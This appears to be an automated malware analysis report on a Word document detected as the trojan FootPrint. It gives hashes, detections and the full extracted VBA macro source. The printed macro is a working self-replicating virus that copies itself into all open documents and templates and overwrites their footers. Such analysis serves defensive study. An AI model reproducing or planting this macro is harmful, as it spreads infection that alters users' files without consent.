Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90608f5ee5e3637c…

MALICIOUS

Office (OLE)

37.5 KB Created: 2000-01-29 17:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 882f107a94e2062e9149883a32adb843 SHA-1: 84532c3c88ee5de48e5f6ada01af79aed0a338d6 SHA-256: 90608f5ee5e3637ca58eada2ea8483af21aeb8930f70c013170ef33a01d608bc
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution in malicious documents. The macro attempts to export its own code, modify it, and then inject it into other open documents or templates, potentially spreading its functionality. The ClamAV detections further confirm its malicious nature, identifying it as a trojan.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1942 bytes
SHA-256: 99f344181d50237ea13016215abf971d236d6069ee6275314e0e70d67497884c
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").codemodule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").codemodule.deletelines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").codemodule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").codemodule.deletelines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
End Sub

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